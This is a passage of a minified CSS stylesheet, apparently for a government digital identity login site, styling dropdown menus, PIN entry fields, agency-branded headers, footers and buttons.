#999;background-color:#fff;background-clip:padding-box;text-decoration:none;white-space:nowrap;line-height:1.15;margin-top:.4em}.chosen-container-single .chosen-single:hover{color:#333}.chosen-container-single .chosen-default{color:#333}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;white-space:nowrap;color:#333}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:40%;right:26px;display:block;width:12px;height:12px;background:url("../icons/chosen-sprite.png") -42px 1px no-repeat;font-size:1px;color:#333}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:25%;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../icons/chosen-sprite.png") no-repeat 0 2px;color:#333}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type="text"]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:white url("../icons/chosen-sprite.png") no-repeat 100% -20px;background:url("../icons/chosen-sprite.png") no-repeat 100% -20px;font-size:1rem;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;left:-9999px}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#0f6493;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:bold;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:transparent}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb}.chosen-container-active .chosen-choices li.search-field input[type="text"]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type="text"]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single-nosearch .chosen-search,.chosen-rtl .chosen-drop{left:9999px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:0}.chosen-rtl .chosen-search input[type="text"]{padding:4px 5px 4px 20px;background:white url("../icons/chosen-sprite.png") no-repeat -30px -20px;background:url("../icons/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-rtl .chosen-search input[type="text"],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-container-single .chosen-search input[type="text"],.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span{background-image:url("../icons/chosen-sprite@2x.png")!important;background-size:52px 37px!important;background-repeat:no-repeat!important}}.pincode-input-container{display:inline-block}.pincode-input-container input.first{border-top-right-radius:0;border-bottom-right-radius:0}.pincode-input-container input.last{border-top-left-radius:0;border-bottom-left-radius:0;border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:34px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:20px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:120px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}html{color:#333;line-height:1.6;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:400}body{font-size:1.125rem}h1,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title,h4{line-height:1.4;font-weight:400;margin-bottom:.4em}h1{font-size:1.75rem;font-weight:700;margin-bottom:0}h1:first-of-type{margin-top:1.5rem}h2,.display{font-size:1.375rem;line-height:1.2;margin-bottom:.5em}h2:first-of-type,.display:first-of-type{margin-top:1.2em}h2.bold,.bold.display{font-weight:700}h2.bold:nth-of-type(2n),.bold.display:nth-of-type(2n){margin-top:2em}h3,#poro-form #modal-title,.poro-form #modal-title{font-size:1.125rem;font-weight:700;margin-bottom:.8em}h4,h5,h6{font-size:1rem;font-weight:700}@media screen and (min-width:992px){.content-main h1,.content-main h2,.content-main .display,.content-main h3,.content-main #poro-form #modal-title,#poro-form .content-main #modal-title,.content-main .poro-form #modal-title,.poro-form .content-main #modal-title,.content-main h4,.content-main h5,.content-main p,.content-main li,.content-main dl{max-width:38rem}.content-main .content-full-width{max-width:none;width:100%}}strong{font-weight:700}strong.very-bold{font-weight:700}hr{border:1px solid #999;border-bottom:0;margin-bottom:0}ul,ol{padding-left:2.4em}ul ul,ol ul{list-style-type:disc}ul,ol,dl,p,dt,dd{margin-bottom:1rem;line-height:1.6em}li{margin-bottom:.53333em}li ul,li ol{margin-bottom:0}ul.no-bullets{list-style-type:none;margin:0;padding-left:1.2em}dt{display:inline-block;font-weight:700}dt:first-of-type{margin-top:0}.callout,.callout--warning{margin:1.6em .8em;padding:1.2em 1.2em 1.2em 1.6em;border-radius:1px;box-shadow:0 0 8px #ccc}.callout--warning{border-left:.4em solid #b7202d;padding-left:1.2em}.badge--default{display:inline-block;background-color:#999;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--error{display:inline-block;background-color:#b7202d;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--success{display:inline-block;background-color:#026540;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:#e7fff6;font-size:.875rem}article h1:first-of-type{margin-top:0}.is-visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;background-color:#fff!important;color:#333!important}.visiblity-hidden{visibility:hidden}.hidden{display:none}.ua-notification{display:block;padding:.8em;text-align:center;background-color:#f80;color:#333;font-size:1.0625rem;margin-bottom:0}@media print{*,*::before,*::after,*::first-letter ,*::first-line {background:transparent;color:#333;box-shadow:none;text-shadow:none}a,a:visited{text-decoration:underline}a[href]::after{content:" (" attr(href) ")"}abbr[title]::after{content:" (" attr(title) ")"}a[href^='#']::after,a[href^='javascript:']::after{content:''}pre,blockquote{border:1px solid #ccc;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%}p,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{orphans:3;widows:3}h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{page-break-after:avoid}}html{height:100%;min-width:300px}body{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;height:100%}body>header,body>footer{-webkit-box-flex:0;-webkit-flex:none;-ms-flex:none;flex:none}body>.wrapper,.wrapper-mapwap,.wrapper-integration,.wrapper-integration-mapwap{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;width:100%;display:inline-block}body>.wrapper::after,.wrapper-mapwap::after,.wrapper-integration::after,.wrapper-integration-mapwap::after{content:'\00a0';height:0;visibility:hidden}@media screen and (min-width:992px){.main-block{max-width:900px;margin-left:auto;margin-right:auto}.main-block::after{clear:both;content:"";display:block}}.wrapper{padding:0 1em}@media screen and (min-width:576px){.wrapper{padding:0 2em}}.wrapper-mapwap{padding:0 1em}.wrapper-mapwap .main-block{max-width:400px;margin-left:auto;margin-right:auto}.wrapper-mapwap .main-block .pin-fields2{text-align:center}.wrapper-mapwap .main-block .pin-fields3{text-align:center}@media screen and (min-width:576px){.wrapper-mapwap .main-block{padding:0 2em;max-width:600px}}.uikit-skip-link{display:block}header[role='banner']{background-color:#026540;border-bottom:4px solid #026540;min-height:80px}header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{position:relative}@media screen and (min-width:992px){header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}header[role='banner'] .inner::after,header[role='banner'] .unauth .product-description .digital-id-inner::after,.unauth .product-description header[role='banner'] .digital-id-inner::after{clear:both;content:"";display:block}}header[role='banner'] .header-logo{display:inline-block;position:absolute;left:0;right:10%;margin-right:1em;margin:0 auto;width:90px;top:31px}@media screen and (min-width:576px){header[role='banner'] .header-logo{width:112px;right:0}}@media screen and (min-width:768px){header[role='banner'] .header-logo{width:135px}}@media screen and (min-width:768px){header[role='banner'] .header-logo{left:0;float:left;position:relative;top:22px}}header[role='banner'] .header-logo a{display:inline-block;border-bottom:0;height:35px;width:100%}@media screen and (min-width:768px){header[role='banner'] .header-logo a{height:40px}}header[role='banner'] .header-logo a:hover,header[role='banner'] .header-logo a:active{background:0}header[role='banner'] .header-logo a span{color:#fff}header[role='banner'] .header-logo a .govFont{color:#d7ea6a}header[role='banner'] .header-logo a:focus{outline:0;outline:3px solid #fff;outline-offset:2px;background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}header[role='banner'] .header-logout{background-color:#026540;color:#fff;font-size:1rem;line-height:1.4;padding:11px;position:absolute;right:0;text-decoration:none;top:16px;margin:1px;width:5.5em;height:auto;-webkit-appearance:button;-moz-appearance:button;-o-appearance:button;-ms-appearance:button;appearance:button}header[role='banner'] .header-logout:before{margin-left:1em}header[role='banner'] .header-logout:after{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:44px;border:2px solid #fff}header[role='banner'] .header-logout:hover,header[role='banner'] .header-logout:focus{border:2px solid;text-decoration:underline;background:0}header[role='banner'] .header-logout:focus{outline:3px solid #fff;background-color:#01462c}header[role='banner'] .header-logout:hover{border-color:#fff}header[role='banner'] .header-logout:active{-webkit-transition:background-color .05s;transition:background-color .05s;outline:0}header #close{float:right;width:36px}@media screen and (min-width:576px){header #close{width:40px}}header #agency-header-logo{float:left;width:160px}@media screen and (min-width:576px){header #agency-header-logo{width:200px}}.authAppHeader{background-color:#026540;height:64px}.authAppHeader .header-img{color:white}.codeGenHeader{background-color:#026540;height:64px}.codeGenHeader .header-img{color:white}.exchangeHeader{background-color:#026540}.exchangeHeader .header-img{color:white}.clkWapHeader{background-color:black;height:64px}@media screen and (min-width:576px){.clkWapHeader{height:80px}}.clkWapHeader .header-img{color:white}.clkMapHeader{background-color:#4c6b9d;height:64px}@media screen and (min-width:576px){.clkMapHeader{height:80px}}.clkMapHeader .header-img{color:white}.csaHeader{background-color:#6b2482;height:64px}@media screen and (min-width:576px){.csaHeader{height:80px}}.csaHeader .header-img{color:white}.dvaHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.dvaHeader{height:80px}}.dvaHeader .header-img{color:black}.dhhsHeader{background-color:#eee;height:105px}.dhhsHeader .header-img{color:black}@media screen and (min-width:576px){.dhhsHeader{height:120px}}.ehrHeader{background-color:#eee;height:100px}@media screen and (min-width:576px){.ehrHeader{height:120px}}.ehrHeader #agency-header-logo{width:280px}.ehrHeader .header-img{color:black}.jobsHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.jobsHeader{height:80px}}.jobsHeader .header-img{color:black}.mcaHeader{background-color:#018643;height:64px}@media screen and (min-width:576px){.mcaHeader{height:80px}}.mcaHeader .header-img{color:white}.redrHeader{background-color:#eee;height:90px}.redrHeader .header-img{color:black}@media screen and (min-width:576px){.redrHeader{height:100px}}.ndisHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.ndisHeader{height:80px}}.ndisHeader .header-img{color:black}.vicsroHeader{background-color:#eee;height:90px}.vicsroHeader .header-img{color:black}.vicsroHeader #agency-header-logo{width:90px}@media screen and (min-width:576px){.vicsroHeader{height:130px}.vicsroHeader #agency-header-logo{width:150px}}.exchangeHeader{height:64px}.exchangeHeader #agency-header-logo{width:220px}@media screen and (min-width:576px){.exchangeHeader{height:80px}.exchangeHeader #agency-header-logo{width:400px}}.mcaHeader .unauth-grid,.ndisHeader .unauth-grid,.dhhsHeader .unauth-grid,.dvaHeader .unauth-grid,.redrHeader .unauth-grid,.clkWapHeader .unauth-grid,.clkMapHeader .unauth-grid,.authAppHeader .unauth-grid,.codeGenHeader .unauth-grid,.jobsHeader .unauth-grid,.ehrHeader .unauth-grid,.vicsroHeader .unauth-grid,.exchangeHeader .unauth-grid,.csaHeader .unauth-grid{margin-top:1em}.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{position:relative}@media screen and (min-width:992px){.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}.mcaHeader .inner::after,.mcaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .mcaHeader .digital-id-inner::after,.ndisHeader .inner::after,.ndisHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ndisHeader .digital-id-inner::after,.dhhsHeader .inner::after,.dhhsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dhhsHeader .digital-id-inner::after,.dvaHeader .inner::after,.dvaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dvaHeader .digital-id-inner::after,.redrHeader .inner::after,.redrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .redrHeader .digital-id-inner::after,.clkWapHeader .inner::after,.clkWapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkWapHeader .digital-id-inner::after,.clkMapHeader .inner::after,.clkMapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkMapHeader .digital-id-inner::after,.authAppHeader .inner::after,.authAppHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .authAppHeader .digital-id-inner::after,.codeGenHeader .inner::after,.codeGenHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .codeGenHeader .digital-id-inner::after,.jobsHeader .inner::after,.jobsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .jobsHeader .digital-id-inner::after,.ehrHeader .inner::after,.ehrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ehrHeader .digital-id-inner::after,.vicsroHeader .inner::after,.vicsroHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .vicsroHeader .digital-id-inner::after,.exchangeHeader .inner::after,.exchangeHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .exchangeHeader .digital-id-inner::after,.csaHeader .inner::after,.csaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .csaHeader .digital-id-inner::after{clear:both;content:"";display:block}}.mcaHeader .header-img,.ndisHeader .header-img,.dhhsHeader .header-img,.dvaHeader .header-img,.redrHeader .header-img,.clkWapHeader .header-img,.clkMapHeader .header-img,.authAppHeader .header-img,.codeGenHeader .header-img,.jobsHeader .header-img,.ehrHeader .header-img,.vicsroHeader .header-img,.exchangeHeader .header-img,.csaHeader .header-img{display:block}.mcaHeader .unauth-grid-row,.ndisHeader .unauth-grid-row,.dhhsHeader .unauth-grid-row,.dvaHeader .unauth-grid-row,.redrHeader .unauth-grid-row,.clkWapHeader .unauth-grid-row,.clkMapHeader .unauth-grid-row,.authAppHeader .unauth-grid-row,.codeGenHeader .unauth-grid-row,.jobsHeader .unauth-grid-row,.ehrHeader .unauth-grid-row,.vicsroHeader .unauth-grid-row,.exchangeHeader .unauth-grid-row,.csaHeader .unauth-grid-row{text-align:left}.mcaHeader a,.ndisHeader a,.dhhsHeader a,.dvaHeader a,.redrHeader a,.clkWapHeader a,.clkMapHeader a,.authAppHeader a,.codeGenHeader a,.jobsHeader a,.ehrHeader a,.vicsroHeader a,.exchangeHeader a,.csaHeader a{border-bottom:0;float:right;display:block}.mcaHeader a:hover,.ndisHeader a:hover,.dhhsHeader a:hover,.dvaHeader a:hover,.redrHeader a:hover,.clkWapHeader a:hover,.clkMapHeader a:hover,.authAppHeader a:hover,.codeGenHeader a:hover,.jobsHeader a:hover,.ehrHeader a:hover,.vicsroHeader a:hover,.exchangeHeader a:hover,.csaHeader a:hover{background:0}footer[role='contentinfo']{background-color:#eee;border-top:4px solid #333;margin-top:72px}footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}@media screen and (min-width:992px){footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}footer[role='contentinfo'] .inner::after,footer[role='contentinfo'] .unauth .product-description .digital-id-inner::after,.unauth .product-description footer[role='contentinfo'] .digital-id-inner::after{clear:both;content:"";display:block}}footer[role='contentinfo'] ul{margin-bottom:1em;padding:0}footer[role='contentinfo'] li{list-style:none}footer[role='contentinfo'] .footer-logo{border-top:1px solid #999;padding-top:1em;padding-bottom:1em}footer[role='contentinfo'] .footer-links{margin:1em auto}footer[role='contentinfo'] .footer-links ul{-webkit-columns:2;-moz-columns:2;columns:2}footer[role='contentinfo'] .footer-links li{display:block;margin-right:.8em}footer[role='contentinfo'] .footer-links a{display:inline-block;margin-top:5px;color:#0f6493}footer[role='contentinfo'] .map-footer-links{margin:1em auto}footer[role='contentinfo'] .map-footer-links li{display:block}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links li{margin-right:.8em;-webkit-box-flex:0;-webkit-flex:0 1 -webkit-calc(33.33% - .8em);-ms-flex:0 1 calc(33.33% - .8em);flex:0 1 calc(33.33% - .8em)}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+2){text-align:center}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+3),footer[role='contentinfo'] .map-footer-links li:nth-child(2):last-child{margin-left:auto;text-align:right}}footer[role='contentinfo'] .map-footer-links a{display:inline-block;margin-top:5px;color:#0f6493}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links ul{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-0.8em}}.badge{border:1px solid #999;border-radius:4px;display:inline-block;padding:.2em .5em}.beta-badge{background-color:#fff;color:#0f6493;font-size:12px;font-weight:900;letter-spacing:2px;padding-left:9px;padding-right:7px;padding-top:2px;padding-bottom:2px;border-radius:50em}#back-to-top{position:relative}#back-to-top:hover,#back-to-top:active{color:#fff;background-color:#0f6493;text-decoration:none}#back-to-top::after{background-image:url("../icons/panel-icon.svg");background-position:50% 50%;background-repeat:no-repeat;position:absolute;height:1.6em;width:1.25em;right:-1.25em;top:0;content:''}.callout-2{background-color:#ebf5fb;padding:1em;border-top:4px solid #0f6493;position:relative;margin-top:1.2em}.callout-2 img#lightbulbicon{max-width:40px;vertical-align:middle}.callout-3{background-color:#ebf5fb;padding-left:1em;padding-bottom:1em;position:relative;margin-top:1.2em}.callout-3 img#infoicon{max-width:40px;margin-right:.5em}.callout-3 p{margin:0}.callout-3 h3,.callout-3 #poro-form #modal-title,#poro-form .callout-3 #modal-title,.callout-3 .poro-form #modal-title,.poro-form .callout-3 #modal-title{margin-left:0}.callout-dxp-block{color:white;background-color:#183052}.callout-dxp{margin:2em;position:relative;max-width:900px}@media screen and (min-width:992px){.callout-dxp{margin:auto}}.callout-dxp h3,.callout-dxp #poro-form #modal-title,#poro-form .callout-dxp #modal-title,.callout-dxp .poro-form #modal-title,.poro-form .callout-dxp #modal-title{margin:2em 0 1em 0}.callout-dxp img{display:block}@media screen and (min-width:768px){.callout-dxp img{margin:2.5em;float:right}}.callout-dxp p{margin:0}.callout-dxp a{margin:1em 0 2em 0;color:white;border-bottom:solid 1px white}.callout-dxp-static{margin:0}.callout-dxp-static h3,.callout-dxp-static #poro-form #modal-title,#poro-form .callout-dxp-static #modal-title,.callout-dxp-static .poro-form #modal-title,.poro-form .callout-dxp-static #modal-title{margin:2em 0 1em 0}.callout-dxp-static p{margin:0}.callout-dxp-static a{margin:1em 0 2em 0}.did-you-know-title{font-weight:bold;font-size:1.1em;margin-bottom:0;margin-left:.5em;margin-top:0;vertical-align:middle;display:inline-block}button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{-webkit-appearance:none;-moz-appearance:none;appearance:none;display:inline-block;height:3.2em;margin:0 1.6em .8em 0;padding:.8em 1.6em;border-radius:1px;border-width:1px;border-style:solid;border-color:inherit;outline:0;text-decoration:none;font-size:1.125rem;width:100%;text-align:center;position:relative}@media screen and (min-width:992px){button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{width:auto}}button[disabled],button.disabled,.button[disabled],.button.disabled,[role='button'][disabled],[role='button'].disabled,[type='submit'][disabled],[type='submit'].disabled,[type='reset'][disabled],[type='reset'].disabled,[type='button'][disabled],[type='button'].disabled{color:#fff}button[disabled],button[disabled]:hover,button[disabled]:active,button[disabled]:focus,button.disabled,button.disabled:hover,button.disabled:active,button.disabled:focus,.button[disabled],.button[disabled]:hover,.button[disabled]:active,.button[disabled]:focus,.button.disabled,.button.disabled:hover,.button.disabled:active,.button.disabled:focus,[role='button'][disabled],[role='button'][disabled]:hover,[role='button'][disabled]:active,[role='button'][disabled]:focus,[role='button'].disabled,[role='button'].disabled:hover,[role='button'].disabled:active,[role='button'].disabled:focus,[type='submit'][disabled],[type='submit'][disabled]:hover,[type='submit'][disabled]:active,[type='submit'][disabled]:focus,[type='submit'].disabled,[type='submit'].disabled:hover,[type='submit'].disabled:active,[type='submit'].disabled:focus,[type='reset'][disabled],[type='reset'][disabled]:hover,[type='reset'][disabled]:active,[type='reset'][disabled]:focus,[type='reset'].disabled,[type='reset'].disabled:hover,[type='reset'].disabled:active,[type='reset'].disabled:focus,[type='button'][disabled],[type='button'][disabled]:hover,[type='button'][disabled]:active,[type='button'][disabled]:focus,[type='button'].disabled,[type='button'].disabled:hover,[type='button'].disabled:active,[type='button'].disabled:focus{cursor:pointer;color:#fff}.button-digital-id-container{display:inline-block;width:100%}.button-digital-id-container .button-digital-id{display:inline-table}.button-digital-id-container .button,.button-digital-id-container button,.button-digital-id-container a{width:100%;padding:.8em 0}.button-digital-id-main-container{margin-top:.5em}@media screen and (min-width:320px){.button-digital-id-main-container{margin-top:2em}}.button-container,.button-digital-id-main-container,.button-container-nomargin{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap-full-width .button,.button-container-mapwap-full-width button,.button-container-mapwap-full-width a{margin-top:2em;width:100%}.button-container-mapwap-full-width .button-main,.button-container-mapwap-full-width .button-minor,.button-container-mapwap-full-width button-main,.button-container-mapwap-full-width button-minor,.button-container-mapwap-full-width a-main,.button-container-mapwap-full-width a-minor{width:100%}.button-container-exchange-web-login .button,.button-container-exchange-web-login button,.button-container-exchange-web-login a{margin-top:2em;width:100%;font-size:1em;padding:.5em 0}.button-container-exchange-web-login .button-main,.button-container-exchange-web-login .button-minor,.button-container-exchange-web-login button-main,.button-container-exchange-web-login button-minor,.button-container-exchange-web-login a-main,.button-container-exchange-web-login a-minor{width:100%}.button-container-mapwap{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap .button{padding:.7em;width:46%}.button-container-mapwap .button:nth-child(2){margin-right:0;float:right}.button-container-centered{display:block}.button-container-centered .button:first-child,.button-container-centered button:first-child{display:block;margin:0 auto}.button-container-nomargin{margin:0}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){margin-right:0;float:right}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{width:43%;padding:.7em}.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{width:auto;height:auto;padding:.7em;display:block}@media screen and (min-width:576px){.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{display:inline-block}}.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-top:1em;margin-left:0}@media screen and (min-width:576px){.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin 